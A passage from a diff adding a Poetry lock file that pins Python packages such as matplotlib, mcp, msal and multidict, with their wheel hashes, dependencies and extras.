"matplotlib-3.10.5-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:00b6feadc28a08bd3c65b2894f56cf3c94fc8f7adcbc6ab4516ae1e8ed8f62e2"}, + {file = "matplotlib-3.10.5-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ee98a5c5344dc7f48dc261b6ba5d9900c008fc12beb3fa6ebda81273602cc389"}, + {file = "matplotlib-3.10.5-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:a17e57e33de901d221a07af32c08870ed4528db0b6059dce7d7e65c1122d4bea"}, + {file = "matplotlib-3.10.5-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:97b9d6443419085950ee4a5b1ee08c363e5c43d7176e55513479e53669e88468"}, + {file = "matplotlib-3.10.5-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ceefe5d40807d29a66ae916c6a3915d60ef9f028ce1927b84e727be91d884369"}, + {file = "matplotlib-3.10.5-cp312-cp312-win_amd64.whl", hash = "sha256:c04cba0f93d40e45b3c187c6c52c17f24535b27d545f757a2fffebc06c12b98b"}, + {file = "matplotlib-3.10.5-cp312-cp312-win_arm64.whl", hash = "sha256:a41bcb6e2c8e79dc99c5511ae6f7787d2fb52efd3d805fff06d5d4f667db16b2"}, + {file = "matplotlib-3.10.5-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:354204db3f7d5caaa10e5de74549ef6a05a4550fdd1c8f831ab9bca81efd39ed"}, + {file = "matplotlib-3.10.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b072aac0c3ad563a2b3318124756cb6112157017f7431626600ecbe890df57a1"}, + {file = "matplotlib-3.10.5-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:d52fd5b684d541b5a51fb276b2b97b010c75bee9aa392f96b4a07aeb491e33c7"}, + {file = "matplotlib-3.10.5-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ee7a09ae2f4676276f5a65bd9f2bd91b4f9fbaedf49f40267ce3f9b448de501f"}, + {file = "matplotlib-3.10.5-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ba6c3c9c067b83481d647af88b4e441d532acdb5ef22178a14935b0b881188f4"}, + {file = "matplotlib-3.10.5-cp313-cp313-win_amd64.whl", hash = "sha256:07442d2692c9bd1cceaa4afb4bbe5b57b98a7599de4dabfcca92d3eea70f9ebe"}, + {file = "matplotlib-3.10.5-cp313-cp313-win_arm64.whl", hash = "sha256:48fe6d47380b68a37ccfcc94f009530e84d41f71f5dae7eda7c4a5a84aa0a674"}, + {file = "matplotlib-3.10.5-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:3b80eb8621331449fc519541a7461987f10afa4f9cfd91afcd2276ebe19bd56c"}, + {file = "matplotlib-3.10.5-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:47a388908e469d6ca2a6015858fa924e0e8a2345a37125948d8e93a91c47933e"}, + {file = "matplotlib-3.10.5-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8b6b49167d208358983ce26e43aa4196073b4702858670f2eb111f9a10652b4b"}, + {file = "matplotlib-3.10.5-cp313-cp313t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8a8da0453a7fd8e3da114234ba70c5ba9ef0e98f190309ddfde0f089accd46ea"}, + {file = "matplotlib-3.10.5-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:52c6573dfcb7726a9907b482cd5b92e6b5499b284ffacb04ffbfe06b3e568124"}, + {file = "matplotlib-3.10.5-cp313-cp313t-win_amd64.whl", hash = "sha256:a23193db2e9d64ece69cac0c8231849db7dd77ce59c7b89948cf9d0ce655a3ce"}, + {file = "matplotlib-3.10.5-cp313-cp313t-win_arm64.whl", hash = "sha256:56da3b102cf6da2776fef3e71cd96fcf22103a13594a18ac9a9b31314e0be154"}, + {file = "matplotlib-3.10.5-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:96ef8f5a3696f20f55597ffa91c28e2e73088df25c555f8d4754931515512715"}, + {file = "matplotlib-3.10.5-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:77fab633e94b9da60512d4fa0213daeb76d5a7b05156840c4fd0399b4b818837"}, + {file = "matplotlib-3.10.5-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:27f52634315e96b1debbfdc5c416592edcd9c4221bc2f520fd39c33db5d9f202"}, + {file = "matplotlib-3.10.5-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:525f6e28c485c769d1f07935b660c864de41c37fd716bfa64158ea646f7084bb"}, + {file = "matplotlib-3.10.5-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:1f5f3ec4c191253c5f2b7c07096a142c6a1c024d9f738247bfc8e3f9643fc975"}, + {file = "matplotlib-3.10.5-cp314-cp314-win_amd64.whl", hash = "sha256:707f9c292c4cd4716f19ab8a1f93f26598222cd931e0cd98fbbb1c5994bf7667"}, + {file = "matplotlib-3.10.5-cp314-cp314-win_arm64.whl", hash = "sha256:21a95b9bf408178d372814de7baacd61c712a62cae560b5e6f35d791776f6516"}, + {file = "matplotlib-3.10.5-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:a6b310f95e1102a8c7c817ef17b60ee5d1851b8c71b63d9286b66b177963039e"}, + {file = "matplotlib-3.10.5-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:94986a242747a0605cb3ff1cb98691c736f28a59f8ffe5175acaeb7397c49a5a"}, + {file = "matplotlib-3.10.5-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ff10ea43288f0c8bab608a305dc6c918cc729d429c31dcbbecde3b9f4d5b569"}, + {file = "matplotlib-3.10.5-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f6adb644c9d040ffb0d3434e440490a66cf73dbfa118a6f79cd7568431f7a012"}, + {file = "matplotlib-3.10.5-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:4fa40a8f98428f789a9dcacd625f59b7bc4e3ef6c8c7c80187a7a709475cf592"}, + {file = "matplotlib-3.10.5-cp314-cp314t-win_amd64.whl", hash = "sha256:95672a5d628b44207aab91ec20bf59c26da99de12b88f7e0b1fb0a84a86ff959"}, + {file = "matplotlib-3.10.5-cp314-cp314t-win_arm64.whl", hash = "sha256:2efaf97d72629e74252e0b5e3c46813e9eeaa94e011ecf8084a971a31a97f40b"}, + {file = "matplotlib-3.10.5-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:b5fa2e941f77eb579005fb804026f9d0a1082276118d01cc6051d0d9626eaa7f"}, + {file = "matplotlib-3.10.5-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:1fc0d2a3241cdcb9daaca279204a3351ce9df3c0e7e621c7e04ec28aaacaca30"}, + {file = "matplotlib-3.10.5-pp310-pypy310_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8dee65cb1424b7dc982fe87895b5613d4e691cc57117e8af840da0148ca6c1d7"}, + {file = "matplotlib-3.10.5-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:160e125da27a749481eaddc0627962990f6029811dbeae23881833a011a0907f"}, + {file = "matplotlib-3.10.5-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:ac3d50760394d78a3c9be6b28318fe22b494c4fcf6407e8fd4794b538251899b"}, + {file = "matplotlib-3.10.5-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:6c49465bf689c4d59d174d0c7795fb42a21d4244d11d70e52b8011987367ac61"}, + {file = "matplotlib-3.10.5.tar.gz", hash = "sha256:352ed6ccfb7998a00881692f38b4ca083c691d3e275b4145423704c34c909076"}, +] + +[package.dependencies] +contourpy = ">=1.0.1" +cycler = ">=0.10" +fonttools = ">=4.22.0" +kiwisolver = ">=1.3.1" +numpy = ">=1.23" +packaging = ">=20.0" +pillow = ">=8" +pyparsing = ">=2.3.1" +python-dateutil = ">=2.7" + +[package.extras] +dev = ["meson-python (>=0.13.1,<0.17.0)", "pybind11 (>=2.13.2,!=2.13.3)", "setuptools (>=64)", "setuptools_scm (>=7)"] + +[[package]] +name = "matplotlib-inline" +version = "0.1.7" +description = "Inline Matplotlib backend for Jupyter" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "matplotlib_inline-0.1.7-py3-none-any.whl", hash = "sha256:df192d39a4ff8f21b1895d72e6a13f5fcc5099f00fa84384e0ea28c2cc0653ca"}, + {file = "matplotlib_inline-0.1.7.tar.gz", hash = "sha256:8423b23ec666be3d16e16b60bdd8ac4e86e840ebd1dd11a30b9f117f2fa0ab90"}, +] + +[package.dependencies] +traitlets = "*" + +[[package]] +name = "mccabe" +version = "0.7.0" +description = "McCabe checker, plugin for flake8" +optional = false +python-versions = ">=3.6" +groups = ["main", "dev"] +files = [ + {file = "mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e"}, + {file = "mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325"}, +] + +[[package]] +name = "mcp" +version = "1.12.4" +description = "Model Context Protocol SDK" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "mcp-1.12.4-py3-none-any.whl", hash = "sha256:7aa884648969fab8e78b89399d59a683202972e12e6bc9a1c88ce7eda7743789"}, + {file = "mcp-1.12.4.tar.gz", hash = "sha256:0765585e9a3a5916a3c3ab8659330e493adc7bd8b2ca6120c2d7a0c43e034ca5"}, +] + +[package.dependencies] +anyio = ">=4.5" +httpx = ">=0.27" +httpx-sse = ">=0.4" +jsonschema = ">=4.20.0" +pydantic = ">=2.8.0,<3.0.0" +pydantic-settings = ">=2.5.2" +python-multipart = ">=0.0.9" +pywin32 = {version = ">=310", markers = "sys_platform == \"win32\""} +sse-starlette = ">=1.6.1" +starlette = ">=0.27" +uvicorn = {version = ">=0.23.1", markers = "sys_platform != \"emscripten\""} + +[package.extras] +cli = ["python-dotenv (>=1.0.0)", "typer (>=0.16.0)"] +rich = ["rich (>=13.9.4)"] +ws = ["websockets (>=15.0.1)"] + +[[package]] +name = "mdit-py-plugins" +version = "0.4.2" +description = "Collection of plugins for markdown-it-py" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "mdit_py_plugins-0.4.2-py3-none-any.whl", hash = "sha256:0c673c3f889399a33b95e88d2f0d111b4447bdfea7f237dab2d488f459835636"}, + {file = "mdit_py_plugins-0.4.2.tar.gz", hash = "sha256:5f2cd1fdb606ddf152d37ec30e46101a60512bc0e5fa1a7002c36647b09e26b5"}, +] + +[package.dependencies] +markdown-it-py = ">=1.0.0,<4.0.0" + +[package.extras] +code-style = ["pre-commit"] +rtd = ["myst-parser", "sphinx-book-theme"] +testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions"] + +[[package]] +name = "mdurl" +version = "0.1.2" +description = "Markdown URL utilities" +optional = false +python-versions = ">=3.7" +groups = ["main", "dev"] +files = [ + {file = "mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8"}, + {file = "mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba"}, +] + +[[package]] +name = "msal" +version = "1.33.0" +description = "The Microsoft Authentication Library (MSAL) for Python library enables your app to access the Microsoft Cloud by supporting authentication of users with Microsoft Azure Active Directory accounts (AAD) and Microsoft Accounts (MSA) using industry standard OAuth2 and OpenID Connect." +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "msal-1.33.0-py3-none-any.whl", hash = "sha256:c0cd41cecf8eaed733ee7e3be9e040291eba53b0f262d3ae9c58f38b04244273"}, + {file = "msal-1.33.0.tar.gz", hash = "sha256:836ad80faa3e25a7d71015c990ce61f704a87328b1e73bcbb0623a18cbf17510"}, +] + +[package.dependencies] +cryptography = ">=2.5,<48" +PyJWT = {version = ">=1.0.0,<3", extras = ["crypto"]} +requests = ">=2.0.0,<3" + +[package.extras] +broker = ["pymsalruntime (>=0.14,<0.19)", "pymsalruntime (>=0.17,<0.19)", "pymsalruntime (>=0.18,<0.19)"] + +[[package]] +name = "msal-extensions" +version = "1.3.1" +description = "Microsoft Authentication Library extensions (MSAL EX) provides a persistence API that can save your data on disk, encrypted on Windows, macOS and Linux. Concurrent data access will be coordinated by a file lock mechanism." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "msal_extensions-1.3.1-py3-none-any.whl", hash = "sha256:96d3de4d034504e969ac5e85bae8106c8373b5c6568e4c8fa7af2eca9dbe6bca"}, + {file = "msal_extensions-1.3.1.tar.gz", hash = "sha256:c5b0fd10f65ef62b5f1d62f4251d51cbcaf003fcedae8c91b040a488614be1a4"}, +] + +[package.dependencies] +msal = ">=1.29,<2" + +[package.extras] +portalocker = ["portalocker (>=1.4,<4)"] + +[[package]] +name = "multidict" +version = "6.6.3" +description = "multidict implementation" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "multidict-6.6.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:a2be5b7b35271f7fff1397204ba6708365e3d773579fe2a30625e16c4b4ce817"}, + {file = "multidict-6.6.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:12f4581d2930840295c461764b9a65732ec01250b46c6b2c510d7ee68872b140"}, + {file = "multidict-6.6.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:dd7793bab517e706c9ed9d7310b06c8672fd0aeee5781bfad612f56b8e0f7d14"}, + {file = "multidict-6.6.3-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:72d8815f2cd3cf3df0f83cac3f3ef801d908b2d90409ae28102e0553af85545a"}, + {file = "multidict-6.6.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:531e331a2ee53543ab32b16334e2deb26f4e6b9b28e41f8e0c87e99a6c8e2d69"}, + {file = "multidict-6.6.3-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:42ca5aa9329a63be8dc49040f63817d1ac980e02eeddba763a9ae5b4027b9c9c"}, + {file = "multidict-6.6.3-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:208b9b9757060b9faa6f11ab4bc52846e4f3c2fb8b14d5680c8aac80af3dc751"}, + {file = "multidict-6.6.3-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:acf6b97bd0884891af6a8b43d0f586ab2fcf8e717cbd47ab4bdddc09e20652d8"}, + {file = "multidict-6.6.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:68e9e12ed00e2089725669bdc88602b0b6f8d23c0c95e52b95f0bc69f7fe9b55"}, + {file = "multidict-6.6.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:05db2f66c9addb10cfa226e1acb363450fab2ff8a6df73c622fefe2f5af6d4e7"}, + {file = "multidict-6.6.3-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:0db58da8eafb514db832a1b44f8fa7906fdd102f7d982025f816a93ba45e3dcb"}, + {file = "multidict-6.6.3-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:14117a41c8fdb3ee19c743b1c027da0736fdb79584d61a766da53d399b71176c"}, + {file = "multidict-6.6.3-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:877443eaaabcd0b74ff32ebeed6f6176c71850feb7d6a1d2db65945256ea535c"}, + {file = "multidict-6.6.3-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:70b72e749a4f6e7ed8fb334fa8d8496384840319512746a5f42fa0aec79f4d61"}, + {file = "multidict-6.6.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:43571f785b86afd02b3855c5ac8e86ec921b760298d6f82ff2a61daf5a35330b"}, + {file = "multidict-6.6.3-cp310-cp310-win32.whl", hash = "sha256:20c5a0c3c13a15fd5ea86c42311859f970070e4e24de5a550e99d7c271d76318"}, + {file = "multidict-6.6.3-cp310-cp310-win_amd64.whl", hash = "sha256:ab0a34a007704c625e25a9116c6770b4d3617a071c8a7c30cd338dfbadfe6485"}, + {file = "multidict-6.6.3-cp310-cp310-win_arm64.whl", hash = "sha256:769841d70ca8bdd140a715746199fc6473414bd02efd678d75681d2d6a8986c5"}, + {file = "multidict-6.6.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:18f4eba0cbac3546b8ae31e0bbc55b02c801ae3cbaf80c247fcdd89b456ff58c"}, + {file = "multidict-6.6.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ef43b5dd842382329e4797c46f10748d8c2b6e0614f46b4afe4aee9ac33159df"}, + {file = "multidict-6.6.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:bf9bd1fd5eec01494e0f2e8e446a74a85d5e49afb63d75a9934e4a5423dba21d"}, + {file = "multidict-6.6.3-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:5bd8d6f793a787153956cd35e24f60485bf0651c238e207b9a54f7458b16d539"}, + {file = "multidict-6.6.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1bf99b4daf908c73856bd87ee0a2499c3c9a3d19bb04b9c6025e66af3fd07462"}, + {file = "multidict-6.6.3-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0b9e59946b49dafaf990fd9c17ceafa62976e8471a14952163d10a7a630413a9"}, + {file = "multidict-6.6.3-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e2db616467070d0533832d204c54eea6836a5e628f2cb1e6dfd8cd6ba7277cb7"}, + {file = "multidict-6.6.3-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:7394888236621f61dcdd25189b2768ae5cc280f041029a5bcf1122ac63df79f9"}, + {file = "multidict-6.6.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f114d8478733ca7388e7c7e0ab34b72547476b97009d643644ac33d4d3fe1821"}, + {file = "multidict-6.6.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:cdf22e4db76d323bcdc733514bf732e9fb349707c98d341d40ebcc6e9318ef3d"}, + {file = "multidict-6.6.3-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:e995a34c3d44ab511bfc11aa26869b9d66c2d8c799fa0e74b28a473a692532d6"}, + {file = "multidict-6.6.3-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:766a4a5996f54361d8d5a9050140aa5362fe48ce51c755a50c0bc3706460c430"}, + {file = "multidict-6.6.3-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:3893a0d7d28a7fe6ca7a1f760593bc13038d1d35daf52199d431b61d2660602b"}, + {file = "multidict-6.6.3-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:934796c81ea996e61914ba58064920d6cad5d99140ac3167901eb932150e2e56"}, + {file = "multidict-6.6.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:9ed948328aec2072bc00f05d961ceadfd3e9bfc2966c1319aeaf7b7c21219183"}, + {file = "multidict-6.6.3-cp311-cp311-win32.whl", hash = "sha256:9f5b28c074c76afc3e4c610c488e3493976fe0e596dd3db6c8ddfbb0134dcac5"}, + {file = "multidict-6.6.3-cp311-cp311-win_amd64.whl", hash = "sha256:bc7f6fbc61b1c16050a389c630da0b32fc6d4a3d191394ab78972bf5edc568c2"}, + {file = "multidict-6.6.3-cp311-cp311-win_arm64.whl", hash = "sha256:d4e47d8faffaae822fb5cba20937c048d4f734f43572e7079298a6c39fb172cb"}, + {file = "multidict-6.6.3-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:056bebbeda16b2e38642d75e9e5310c484b7c24e3841dc0fb943206a72ec89d6"}, + {file = "multidict-6.6.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:e5f481cccb3c5c5e5de5d00b5141dc589c1047e60d07e85bbd7dea3d4580d63f"}, + {file = "multidict-6.6.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:10bea2ee839a759ee368b5a6e47787f399b41e70cf0c20d90dfaf4158dfb4e55"}, + {file = "multidict-6.6.3-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:2334cfb0fa9549d6ce2c21af2bfbcd3ac4ec3646b1b1581c88e3e2b1779ec92b"}, + {file = "multidict-6.6.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b8fee016722550a2276ca2cb5bb624480e0ed2bd49125b2b73b7010b9090e888"}, + {file = "multidict-6.6.3-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:e5511cb35f5c50a2db21047c875eb42f308c5583edf96bd8ebf7d770a9d68f6d"}, + {file = "multidict-6.6.3-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:712b348f7f449948e0a6c4564a21c7db965af900973a67db432d724619b3c680"}, + {file = "multidict-6.6.3-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:e4e15d2138ee2694e038e33b7c3da70e6b0ad8868b9f8094a72e1414aeda9c1a"}, + {file = "multidict-6.6.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8df25594989aebff8a130f7899fa03cbfcc5d2b5f4a461cf2518236fe6f15961"}, + {file = "multidict-6.6.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:159ca68bfd284a8860f8d8112cf0521113bffd9c17568579e4d13d1f1dc76b65"}, + {file = "multidict-6.6.3-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:e098c17856a8c9ade81b4810888c5ad1914099657226283cab3062c0540b0643"}, + {file = "multidict-6.6.3-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:67c92ed673049dec52d7ed39f8cf9ebbadf5032c774058b4406d18c8f8fe7063"}, + {file = "multidict-6.6.3-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:bd0578596e3a835ef451784053cfd327d607fc39ea1a14812139339a18a0dbc3"}, + {file = "multidict-6.6.3-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:346055630a2df2115cd23ae271910b4cae40f4e336773550dca4889b12916e75"}, + {file = "multidict-6.6.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:555ff55a359302b79de97e0468e9ee80637b0de1fce77721639f7cd9440b3a10"}, + {file = "multidict-6.6.3-cp312-cp312-win32.whl", hash = "sha256:73ab034fb8d58ff85c2bcbadc470efc3fafeea8affcf8722855fb94557f14cc5"}, + {file = "multidict-6.6.3-cp312-cp312-win_amd64.whl", hash = "sha256:04cbcce84f63b9af41bad04a54d4cc4e60e90c35b9e6ccb130be2d75b71f8c17"}, + {file = "multidict-6.6.3-cp312-cp312-win_arm64.whl", hash = "sha256:0f1130b896ecb52d2a1e615260f3ea2af55fa7dc3d7c3003ba0c3121a759b18b"}, + {file = "multidict-6.6.3-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:540d3c06d48507357a7d57721e5094b4f7093399a0106c211f33540fdc374d55"}, + {file = "multidict-6.6.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:9c19cea2a690f04247d43f366d03e4eb110a0dc4cd1bbeee4d445435428ed35b"}, + {file = "multidict-6.6.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7af039820cfd00effec86bda5d8debef711a3e86a1d3772e85bea0f243a4bd65"}, + {file = "multidict-6.6.3-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:500b84f51654fdc3944e936f2922114349bf8fdcac77c3092b03449f0e5bc2b3"}, + {file = "multidict-6.6.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f3fc723ab8a5c5ed6c50418e9bfcd8e6dceba6c271cee6728a10a4ed8561520c"}, + {file = "multidict-6.6.3-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:94c47ea3ade005b5976789baaed66d4de4480d0a0bf31cef6edaa41c1e7b56a6"}, + {file = "multidict-6.6.3-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:dbc7cf464cc6d67e83e136c9f55726da3a30176f020a36ead246eceed87f1cd8"}, + {file = "multidict-6.6.3-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:900eb9f9da25ada070f8ee4a23f884e0ee66fe4e1a38c3af644256a508ad81ca"}, + {file = "multidict-6.6.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7c6df517cf177da5d47ab15407143a89cd1a23f8b335f3a28d57e8b0a3dbb884"}, + {file = "multidict-6.6.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:4ef421045f13879e21c994b36e728d8e7d126c91a64b9185810ab51d474f27e7"}, + {file = "multidict-6.6.3-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:6c1e61bb4f80895c081790b6b09fa49e13566df8fbff817da3f85b3a8192e36b"}, + {file = "multidict-6.6.3-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:e5e8523bb12d7623cd8300dbd91b9e439a46a028cd078ca695eb66ba31adee3c"}, + {file = "multidict-6.6.3-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:ef58340cc896219e4e653dade08fea5c55c6df41bcc68122e3be3e9d873d9a7b"}, + {file = "multidict-6.6.3-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:fc9dc435ec8699e7b602b94fe0cd4703e69273a01cbc34409af29e7820f777f1"}, + {file = "multidict-6.6.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9e864486ef4ab07db5e9cb997bad2b681514158d6954dd1958dfb163b83d53e6"}, + {file = "multidict-6.6.3-cp313-cp313-win32.whl", hash = "sha256:5633a82fba8e841bc5c5c06b16e21529573cd654f67fd833650a215520a6210e"}, + {file = "multidict-6.6.3-cp313-cp313-win_amd64.whl", hash = "sha256:e93089c1570a4ad54c3714a12c2cef549dc9d58e97bcded193d928649cab78e9"}, + {file = "multidict-6.6.3-cp313-cp313-win_arm64.whl", hash = "sha256:c60b401f192e79caec61f166da9c924e9f8bc65548d4246842df91651e83d600"}, + {file = "multidict-6.6.3-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:02fd8f32d403a6ff13864b0851f1f523d4c988051eea0471d4f1fd8010f11134"}, + {file = "multidict-6.6.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:f3aa090106b1543f3f87b2041eef3c156c8da2aed90c63a2fbed62d875c49c37"}, + {file = "multidict-6.6.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e924fb978615a5e33ff644cc42e6aa241effcf4f3322c09d4f8cebde95aff5f8"}, + {file = "multidict-6.6.3-cp313-cp313t-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:b9fe5a0e57c6dbd0e2ce81ca66272282c32cd11d31658ee9553849d91289e1c1"}, + {file = "multidict-6.6.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b24576f208793ebae00280c59927c3b7c2a3b1655e443a25f753c4611bc1c373"}, + {file = "multidict-6.6.3-cp313-cp313t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:135631cb6c58eac37d7ac0df380294fecdc026b28837fa07c02e459c7fb9c54e"}, + {file = "multidict-6.6.3-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:274d416b0df887aef98f19f21578653982cfb8a05b4e187d4a17103322eeaf8f"}, + {file = "multidict-6.6.3-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:e252017a817fad7ce05cafbe5711ed40faeb580e63b16755a3a24e66fa1d87c0"}, + {file = "multidict-6.6.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = 